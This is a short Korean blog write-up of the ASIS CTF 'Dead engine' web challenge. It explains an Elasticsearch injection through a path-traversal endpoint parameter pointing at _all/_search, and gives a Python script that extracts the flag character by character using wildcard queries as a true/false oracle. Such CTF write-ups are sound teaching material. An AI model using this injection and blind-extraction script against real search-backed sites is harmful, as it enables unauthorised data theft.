| by munsiwoo | No comments

[ASIS CTF/Dead engine] Elasticsearch Injection

요약

ASIS CTF의 Dead engine이라는 웹 문제다. Elasticsearch를 사용하고 있는 사이트에서 NoSQL Injection을 통해 플래그를 얻는 문제였다. Elasticsearch 환경은 처음이라 열심히 검색하면서 풀었는데 복습 겸 간단히 풀이만 적어본다.

풀이

우선 q, endpoint 이렇게 2개의 입력을 받아서 내부 검색 엔진으로 요청해주는 구조였다.

입력: q=abcd&endpoint=/articles/_search
내부 요청: http://localhost:9300/articles/_search?q=abcd

이렇게 http://localhost:9300{endpoint}?q={q} 각각 입력이 들어간다. endpoint를 조작하면 맘대로 검색 옵션을 설정하거나 다른 테이블 접근이 가능했다. Elasticsearch 관련 글을 읽다보니 _all/_search에서 검색하면 특정 테이블명을 모르더라도 모든 테이블을 대상으로 검색할 수 있다고 한다.

따라서 endpoint_all/_search로 설정한 뒤, q에서는 와일드카드로 플래그 길이를 맞춘 다음 “Flag Is Here, Grab it :)” 메세지의 출력 여부에 따라 true, false로 구분하여 플래그를 뽑아올 수 있었다.

import requests

if __name__ == '__main__':
    url = 'http://192.241.183.207/index.php?action'
    headers = {'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}
    data = 'q=fuck&endpoint=../../../../_all/_search?q={}%23'
    flag = '|'.join('?' * 32).split('|') # flag length is 32

    for x in range(32):
        for y in 'abcdef0123456789':
            flag[x] = y
            result = requests.post(url, data=data.format(''.join(flag)), headers=headers).text
            if 'Flag Is Here, Grab it :)' in result:
                break
            print('ASIS{' + ''.join(flag) + '}')

    print('----------------------')
    print("flag : ASIS{" + ''.join(flag) + '}')

Leave a Reply